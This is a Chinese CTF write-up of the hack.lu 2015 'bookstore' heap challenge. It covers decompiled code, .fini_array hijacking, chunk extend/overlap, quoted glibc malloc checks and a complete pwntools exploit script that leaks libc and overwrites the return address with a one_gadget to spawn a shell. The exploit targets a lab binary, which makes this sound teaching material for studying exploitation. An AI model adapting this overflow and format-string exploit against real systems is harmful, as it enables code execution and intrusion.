CTF-PWN-堆-【chunk extend/overlapping-2】(hack.lu ctf 2015 bookstore)

2024-01-29 06:36

本文主要是介绍CTF-PWN-堆-【chunk extend/overlapping-2】(hack.lu ctf 2015 bookstore),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

  • hack.lu ctf 2015 bookstore
    • 检查
    • IDA源码
      • main函数
      • edit_note
      • delete_note
      • submit
    • .fini_array段劫持(回到main函数的方法)
    • 思路
    • python格式化字符串
    • 简化思路:
  • exp

佛系getshell
常规getshell

hack.lu ctf 2015 bookstore

检查

got表可写,没有地址随机化(PIE)
在这里插入图片描述

IDA源码

C 库函数 char *gets(char *str) 从标准输入 stdin 读取一行,并把它存储在 str 所指向的字符串中。当读取到换行符时,或者到达文件末尾时,它会停止,具体视情况而定。

C 库函数 int puts(const char *str) 把一个字符串写入到标准输出 stdout,直到空字符,但不包括空字符。换行符会被追加到输出中。

main函数

signed __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{int v4; // [rsp+4h] [rbp-BCh]char *v5; // [rsp+8h] [rbp-B8h]char *first_order; // [rsp+18h] [rbp-A8h]char *second_order; // [rsp+20h] [rbp-A0h]char *dest; // [rsp+28h] [rbp-98h]char s[136]; // [rsp+30h] [rbp-90h] BYREFunsigned __int64 v10; // [rsp+B8h] [rbp-8h]v10 = __readfsqword(0x28u);first_order = (char *)malloc(0x80uLL);second_order = (char *)malloc(0x80uLL);dest = (char *)malloc(0x80uLL);if ( !first_order || !second_order || !dest ){fwrite("Something failed!\n", 1uLL, 0x12uLL, stderr);return 1LL;}v4 = 0;puts(" _____          _   _                 _          _                   _ \n""/__   \\_____  _| |_| |__   ___   ___ | | __  ___| |_ ___  _ __ ___  / \\\n""  / /\\/ _ \\ \\/ / __| '_ \\ / _ \\ / _ \\| |/ / / __| __/ _ \\| '__/ _ \\/  /\n"" / / |  __/>  <| |_| |_) | (_) | (_) |   <  \\__ \\ || (_) | | |  __/\\_/ \n"" \\/   \\___/_/\\_\\\\__|_.__/ \\___/ \\___/|_|\\_\\ |___/\\__\\___/|_|  \\___\\/   \n""Crappiest and most expensive books for your college education!\n""\n""We can order books for you in case they're not in stock.\n""Max. two orders allowed!\n");
LABEL_14:while ( !v4 ){puts("1: Edit order 1");puts("2: Edit order 2");puts("3: Delete order 1");puts("4: Delete order 2");puts("5: Submit");fgets(s, 128, stdin);switch ( s[0] ){case '1':puts("Enter first order:");edit_order(first_order);strcpy(dest, "Your order is submitted!\n");goto LABEL_14;case '2':puts("Enter second order:");edit_order(second_order);strcpy(dest, "Your order is submitted!\n");goto LABEL_14;case '3':delete_order(first_order);goto LABEL_14;case '4':delete_order(second_order);goto LABEL_14;case '5':v5 = (char *)malloc(0x140uLL);if ( !v5 ){fwrite("Something failed!\n", 1uLL, 0x12uLL, stderr);return 1LL;}submit(v5, first_order, second_order);v4 = 1;break;default:goto LABEL_14;}}printf("%s", v5);printf(dest);return 0LL;}

功能选择前就已经先创建三个大小为0x80的堆了(对于chunk的size为0x90),第一个chunk是order1的内容,第二个chunk是order2的内容,第三个chunk是dest的内容(这个存储字符串的),然后根据输入对应其功能函数,对应功能5的函数会创建一个0x140的堆(对于chunk的size为0x150),然后把之前函数定义的两个order的内容组合再加一个Your order is submitted!\n的字符串

edit_note

unsigned __int64 __fastcall edit_order(char *a1)
{int idx; // eaxint v3; // [rsp+10h] [rbp-10h]int cnt; // [rsp+14h] [rbp-Ch]unsigned __int64 v5; // [rsp+18h] [rbp-8h]v5 = __readfsqword(0x28u);v3 = 0;cnt = 0;while ( v3 != '\n' ){v3 = fgetc(stdin);idx = cnt++;a1[idx] = v3;}a1[cnt - 1] = 0;return __readfsqword(0x28u) ^ v5;
}

没有限制的输入长度,可以一直输入直到有换行符,并将换行符改为0

delete_note

unsigned __int64 __fastcall delete_order(void *a1)
{unsigned __int64 v2; // [rsp+18h] [rbp-8h]v2 = __readfsqword(0x28u);free(a1);return __readfsqword(0x28u) ^ v2;
}

直接free但是没有清空,存在use after free

submit

unsigned __int64 __fastcall submit(char *all, const char *order1, char *order2)
{size_t v3; // raxsize_t v4; // raxunsigned __int64 v7; // [rsp+28h] [rbp-8h]v7 = __readfsqword(0x28u);strcpy(all, "Order 1: ");v3 = strlen(order1);strncat(all, order1, v3);strcat(all, "\nOrder 2: ");v4 = strlen(order2);strncat(all, order2, v4);*(_WORD *)&all[strlen(all)] = '\n';return __readfsqword(0x28u) ^ v7;
}

提交,此时将各个order的字符串和使用功能1或2时就已经赋值到dest里的字符串内容组合,再赋值到dest

.fini_array段劫持(回到main函数的方法)

.fini_array段劫持资料参考

大多数可执行文件是通过链接 libc 来进行编译的,因此 gcc 会将 glibc 初始化代码放入编译好的可执行文件和共享库中。 .init_array和 .fini_array 节(早期版本被称为 .ctors和 .dtors )中存放了指向初始化代码和终止代码的函数指针。 .init_array 函数指针会在 main() 函数调用之前触发。这就意味着,可以通过重写某个指向正确地址的指针来将控制流指向病毒或者寄生代码。 .fini_array 函数指针在 main() 函数执行完之后才被触发,在某些场景下这一点会非常有用。例如,特定的堆溢出漏洞(如曾经的 Once upon a free())会允许攻击者在任意位置写4个字节,攻击者通常会使用一个指向 shellcode 地址的函数指针来重写.fini_array 函数指针。对于大多数病毒或者恶意软件作者来说, .init_array 函数指针是最常被攻击的目标,因为它通常可以使得寄生代码在程序的其他部分执行之前就能够先运行。

构造函数(constructors)和析构函数(destructors)。程序员应当使用类似下面的方式来指定这些属性:

带有”构造函数”属性的函数将在main()函数之前被执行,而声明为”析构函数”属性的函数则将在after main()退出时执行。

#include <stdio.h>
#include <stdlib.h>static void start(void) __attribute__ ((constructor));
static void stop(void) __attribute__ ((destructor));int main(int argc, char *argv[])
{printf("start == %p\n", start);printf("stop == %p\n", stop);return 0;
}void start(void)
{printf("hello world!\n");
}void stop(void)
{printf("goodbye world!\n");
}

在这里插入图片描述
在gdb中利用readelf查看对应的.ini_array段和.fini_array段,以及存储的函数指针
在这里插入图片描述
分析一下结果
.init_array存的 0x1160是 frame_dummy函数地址(ida里面可查看) 0x11bf,是自己定义的start函数的地址,也就是说main函数开始之前会先执行 frame_dummy函数和start函数

.fini_array存的 0x1120是 __do_global_dtors_aux函数地址(ida里面可查看) 0x11d9,是自己定义的stop函数的地址,也就是说main函数结束之后会执行 __do_global_dtors_aux函数和stop函数

假设此时取消定义的属性

#include <stdio.h>
#include <stdlib.h>static void start(void) ;
static void stop(void) ;int main(int argc, char *argv[])
{printf("start == %p\n", start);printf("stop == %p\n", stop);return 0;
}void start(void)
{printf("hello world!\n");
}void stop(void)
{printf("goodbye world!\n");
}

此时.ini_array和.fini_array都只有一个函数指针,.ini_array是 frame_dummy函数地址(ida里面可查看),fini_array是 __do_global_dtors_aux函数地址(ida里面可查看)
在这里插入图片描述

思路

明显溢出,而且长度任意,那么可以修改其他chunk的header和内容
如图,利用editor 2时写入0x80个字节覆盖满chunk2,多余的内容覆盖到chunk3的header处从而修改
在这里插入图片描述
但是我们先要得到libc地址,那么得调用输出函数才行,这里可以修改got表从而调用到想用的函数,而且还需要修改其参数,那么首先要有根据指针修改其内容的函数,先要修改指针为got地址,然后才能修改其got表,但指针没办法修改,堆指针在栈上。所以只能找其他办法。

发现有个格式化字符串漏洞,但是在循环外,也就必须submit后才会执行该函数。又因为editor修改会在dest的位置复制一个字符串,所以当溢出设置格式化字符串时要提前空出这个后面要复制的字符串的长度。然后才是格式化字符串。但此时发现优于strcpy时会将空字符也复制进入,所以导致后面的内容无效,所以此方法还是不行。还得是再次找到机会重写dest

此时需要利用到chunk extend方法了
先free第二个堆,再修改第一个堆溢出从而修改第二个堆的header,然后调用submit使得malloc。当然也可以先修改第一个堆溢出修改第二个堆的header,然后free第二个堆,然后调用submit使得malloc
这样能够submit得到的堆是第二个堆,并且其大小覆盖到了dest这个堆,从而可以修改格式化字符串

free之前对chunk做各种check,总而言之就是不能double free和通过size计算的下一个chunk的得确实是一个malloc得到的chunk,那malloc时,会对该unsortedbin中的chunk的前后做合并尝试,首先通过prev_inuse来决定是否先前合并,如果为1即可不合并,同样,如果下一个chunk正在被使用的话,就没有向后合并的操作了(检查下一个chunk的下一个chunk的prev_inuse位)

所以此时溢出的prev_size大小为0也不影响,如果先free的话,这些free前的检查都不用考虑,只需如何修改使得malloc得到0x140的堆为第二个chunk,但如果是先修改再free,此时面对的各个检查比较繁琐,还需构造下一个chunk,所以采用先free再修改,此时对应的从unsortedbin的remalloc

if (size == nb)
{set_inuse_bit_at_offset (victim, size);if (av != &main_arena)victim->size |= NON_MAIN_ARENA;check_malloced_chunk (av, victim, nb);void *p = chunk2mem (victim);alloc_perturb (p, bytes);return p;
# define check_malloced_chunk(A, P, N)   do_check_malloced_chunk (A, P, N)
static void
do_check_malloced_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T s)
{/* same as recycled case ... */do_check_remalloced_chunk (av, p, s);/*... plus,  must obey implementation invariant that prev_inuse isalways true of any allocated chunk; i.e., that each allocatedchunk borders either a previously allocated and still in-usechunk, or the base of its memory arena. This is ensuredby making all allocations from the `lowest' part of any foundchunk.  This does not necessarily hold however for chunksrecycled via fastbins.*/assert (prev_inuse (p));
}
static void
do_check_remalloced_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T s)
{INTERNAL_SIZE_T sz = p->size & ~(PREV_INUSE | NON_MAIN_ARENA);if (!chunk_is_mmapped (p)){assert (av == arena_for_chunk (p));if (chunk_non_main_arena (p))assert (av != &main_arena);elseassert (av == &main_arena);}do_check_inuse_chunk (av, p);/* Legal size ... */assert ((sz & MALLOC_ALIGN_MASK) == 0);assert ((unsigned long) (sz) >= MINSIZE);/* ... and alignment */assert (aligned_OK (chunk2mem (p)));/* chunk is less than MINSIZE more than request */assert ((long) (sz) - (long) (s) >= 0);assert ((long) (sz) - (long) (s + MINSIZE) < 0);
}/*Properties of nonrecycled chunks at the point they are malloced*/static void
do_check_inuse_chunk (mstate av, mchunkptr p)
{mchunkptr next;do_check_chunk (av, p);if (chunk_is_mmapped (p))return; /* mmapped chunks have no next/prev *//* Check whether it claims to be in use ... */assert (inuse (p));next = next_chunk (p);/* ... and is surrounded by OK chunks.Since more things can be checked with free chunks than inuse ones,if an inuse chunk borders them and debug is on, it's worth doing them.*/if (!prev_inuse (p)){/* Note that we cannot even look at prev unless it is not inuse */mchunkptr prv = prev_chunk (p);assert (next_chunk (prv) == p);do_check_free_chunk (av, prv);}if (next == av->top){assert (prev_inuse (next));assert (chunksize (next) >= MINSIZE);}else if (!inuse (next))do_check_free_chunk (av, next);                       这个检查应该使得无法利用的,不知道为啥可以利用成功
}

可以发现下一个chunk的inuse位为0
下一个chunk应该是不能通过do_check_free_chunk (av, next);
不知道为啥
在这里插入图片描述

static void
do_check_chunk (mstate av, mchunkptr p)
{unsigned long sz = chunksize (p);/* min and max possible addresses assuming contiguous allocation */char *max_address = (char *) (av->top) + chunksize (av->top);char *min_address = max_address - av->system_mem;if (!chunk_is_mmapped (p)){/* Has legal address ... */if (p != av->top){if (contiguous (av)){assert (((char *) p) >= min_address);assert (((char *) p + sz) <= ((char *) (av->top)));}}else{/* top size is always at least MINSIZE */assert ((unsigned long) (sz) >= MINSIZE);/* top predecessor always marked inuse */assert (prev_inuse (p));}}else{/* address is outside main heap  */if (contiguous (av) && av->top != initial_top (av)){assert (((char *) p) < min_address || ((char *) p) >= max_address);}/* chunk is page-aligned */assert (((p->prev_size + sz) & (GLRO (dl_pagesize) - 1)) == 0);/* mem is aligned */assert (aligned_OK (chunk2mem (p)));}
}static void
do_check_free_chunk (mstate av, mchunkptr p)
{INTERNAL_SIZE_T sz = p->size & ~(PREV_INUSE | NON_MAIN_ARENA);mchunkptr next = chunk_at_offset (p, sz);do_check_chunk (av, p);/* Chunk must claim to be free ... */assert (!inuse (p));assert (!chunk_is_mmapped (p));/* Unless a special marker, must have OK fields */if ((unsigned long) (sz) >= MINSIZE){assert ((sz & MALLOC_ALIGN_MASK) == 0);assert (aligned_OK (chunk2mem (p)));/* ... matching footer field */assert (next->prev_size == sz);/* ... and is fully consolidated */assert (prev_inuse (p));assert (next == av->top || inuse (next));/* ... and has minimally sane links */assert (p->fd->bk == p);assert (p->bk->fd == p);}else /* markers are always of size SIZE_SZ */assert (sz == SIZE_SZ);
}

格式化字符串是啥呢

首先我们要知道我们第一次格式化字符串漏洞执行时需要泄露函数地址从而得到基地址,但如果要根据基地址修改这个函数got表的内容得需要下一次格式化字符串漏洞。所以还需要执行一次格式化字符串漏洞
这里利用修改.fini_array地址处的函数使得函数还能执行main函数一次

程序退出后会执行.fini_array地址处的函数,不过只能利用一次。

但由于只能利用一次(因为执行完.fini_array`的函数就退出了),但修改函数got表的内容后还需要执行该函数才行,而此时修改函数got表内容已经是跳出循环了,所以我们还需要尝试修改返回地址。要想返回地址,可以提前在栈上准备好数据,然后利用printf格式化字符串漏洞的写入功能,但需要提前得到返回地址

那如何得到返回地址呢?只能利用第一次printf的格式化字符串漏洞了,返回地址在栈上的位置是随机的,所以我们需要找一个存储与返回地址有固定偏移的地址的栈地址,可以通过泄露该栈地址的内容然后通过偏移得到第一次main函数返回地址在栈上的地址

注意此时需要得到的返回地址为第二次调用main函数的,所以还得需要偏移一次,这个可以通过程序从某一行执行到某一行,它的栈顶的变化是一定的。所以我们也可以通过main函数的要执行ret指令时的栈顶和开始执行第二次main函数的ret指令的栈顶的偏移是固定的(因为每次这样执行即执行main函数后会执行.fini_array的main函数,两个ret之间执行的代码一样,所以栈顶的变化也一样)

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

python格式化字符串

Python2.6 开始,新增了一种格式化字符串的函数 str.format(),它增强了字符串格式化的功能。

基本语法是通过 {} 和 : 来代替以前的 % 。

format 函数可以接受不限个参数,位置可以不按顺序。

>>>"{} {}".format("hello", "world")    # 不设置指定位置,按默认顺序
'hello world'>>> "{0} {1}".format("hello", "world")  # 设置指定位置
'hello world'>>> "{1} {0} {1}".format("hello", "world")  # 设置指定位置
'world hello world'

简化思路:

1.首先利用写入时的溢出将下一位下一个chunk的size位修改,同时预备好参数/bin/sh(在在调用free的参数所指向的位置)
2.然后利用free后再次malloc得到实现extend (注意隐藏的malloc顺序和free顺序)
3.然后将freegot表中的值 覆盖将会进行 取指针对应内容的 某指针
4.首先打印,此时会输出free got表中的值(即存储free函数地址变量地址)
5.利用got地址-libc.symbols[‘free’]得到libc基址
6.最后利用基址+libc.symbols[‘system’](偏移)得到system地址
7.最后修改got表对应的内容为system的地址
8最后调用free 某参数即可getshell

exp

from pwn import *p = process('./books')
context.log_level = 'debug'
elf = ELF('./books')
libc = ELF('libc.so')def edit1(content) :sleep(0.1)p.sendline('1')p.recvuntil('Enter first order:\n')p.sendline(content)def edit2(content) :sleep(0.1)p.sendline('2')p.recvuntil('Enter second order:\n')p.sendline(content)def delete1() :sleep(0.1)p.sendline('3')def delete2() :sleep(0.1)p.sendline('4')def submit() :sleep(0.1)p.sendline('5')free_got = elf.got['free']
fini_array = 0x6011B8
main_addr = 0x400A39delete2()payload = "%"+str(2617)+"c%13$hn"  + '.%31$p' + ',%28$p'
payload += 'A'*(0x74-len(payload))
payload += p8(0x0)*(0x88-len(payload))
payload += p64(0x151)
edit1(payload)payload2 = '5'+p8(0x0)*7 + p64(fini_array)
p.sendline(payload2)#leak --> libc_base
p.recvuntil('\x2e')
p.recvuntil('\x2e')
p.recvuntil('\x2e')
data = p.recv(14)
p.recvuntil(',')
ret_addr = p.recv(14)
data = int(data,16) - 240
ret_addr = int(ret_addr,16) + 0x28 - 0x210
libc_base = data - libc.symbols['__libc_start_main']
log.success('ret_addr :'+hex(ret_addr))#repeat --> change ret_addr --> system_addr(one_gadget)
one_shot = libc_base + 0x45216
print hex(one_shot)
one_shot1 = '0x'+str(hex(one_shot))[-2:]
one_shot2 = '0x'+str(hex(one_shot))[-6:-2]
print one_shot1,one_shot2
one_shot1 = int(one_shot1,16)
one_shot2 = int(one_shot2,16)delete2()payload3 = "%" + str(one_shot1) + "d%13$hhn"
payload3 += '%' + str(one_shot2-one_shot1) + 'd%14$hn'
payload3 += 'A'*(0x74-len(payload3))
payload3 += p8(0x0)*(0x88-len(payload3))
payload3 += p64(0x151)
edit1(payload3)payload4 = '5' + p8(0x0)*7 + p64(ret_addr) + p64(ret_addr+1)
p.sendline(payload4)p.interactive()

这篇关于CTF-PWN-堆-【chunk extend/overlapping-2】(hack.lu ctf 2015 bookstore)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/656034

相关文章

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

CF Bayan 2015 Contest Warm Up B.(dfs+暴力)

B. Strongly Connected City time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output 题目链接: http://codeforces.com/contest/475/probl

CF Bayan 2015 Contest Warm Up A.(模拟+预处理)

A. Bayan Bus time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output 题目链接: http://codeforces.com/contest/475/problem/A The fi

2015年校赛总结

题目名为“校赛总结”,其实更想换成“Rainbow为什么五题滚粗?!”。作为今年校赛大二没拆的两个队伍之一,结果打成这样,没脸见人了,总结起来就是我认为自己今天SB了。主要有以下几点: 1.我今天状态的确不好,最后卡的那道B题跟去年在农大校赛上遇见的那题类似,在最后那段时间我已经有思路了,可是由于当时不敢写。等到最后15分钟才开始敲,加上我用很麻烦的Dijstra那种方法,调试起来好多细节要处理

百度之星 2015 复赛 1001 (数长方形)

数长方形    Accepts: 595    Submissions: 1225  Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others) Problem Description 小度熊喜欢玩木棒。一天他在玩木棒的时候,发现一些木棒会形成长方形

百度之星 2015 初赛(1) 1002 找连续数

找连续数      Accepts: 401      Submissions: 1911  Time Limit: 2000/1000 MS (Java/Others)      Memory Limit: 32768/32768 K (Java/Others) Problem Description 小度熊拿到了一个无序的数组,对于这个数组,小度熊想知道是

2015多校联合训练第三场Work(hdu5326)

题意: a是b的上司,b是c的上司,则a是c的上司,问构成一个树种,有多人是 k个人的上司 思路: 先找出root,然后dfs一下就行 #include <bits/stdc++.h>#define LL long longusing namespace std;const int MAXN = 1e6;int f[105];int n, k;int mp[101][101];

2015年多校联合训练第三场RGCDQ(hdu5317)

题意: f(i)代表i数中有的素数的种数,给出区间[l,r],求区间内max(gcd(f(i))), 由于i最大是1e6,2*3*5*7*11*13*17>1e6,故最多不超过7种素数, 先打表打出1e6内的素数种数表,然后用sum[i][j]代表1-i个数中,还有j个素数的个数,最后用sum[r][j] - sum[l-1][j]求出区间内含有j个素数的数的个数,暴力找出1,2,3,4,5

2015多校联合训练第一场Tricks Device(hdu5294)

题意:给一个无向图,给起点s,终点t,求最少拆掉几条边使得s到不了t,最多拆几条边使得s能到t 思路: 先跑一边最短路,记录最短路中最短的边数,总边数-最短边数就是第二个答案 第一个答案就是在最短路里面求最小割,也就是求最大流,然后根据最短路在建个新图,权为1,跑一边网络流 模板题,以后就用这套模板了 #include <iostream>#include <cstdio>#incl

2015多校联合训练第一场Assignment(hdu5289)三种解法

题目大意:给出一个数列,问其中存在多少连续子序列,子序列的最大值-最小值< k 这题有三种解法: 1:单调队列,时间复杂度O(n) 2:RMQ+二分,时间复杂度O(nlogn) 3:RMQ+贪心,时间复杂度O(nlogn) 一:RMQ+二分 RMQ维护最大值,最小值,枚举左端点i,二分找出最远的符合的右端点j,答案就是ans += j - i+1;(手推一下就知道) 比如1 2 3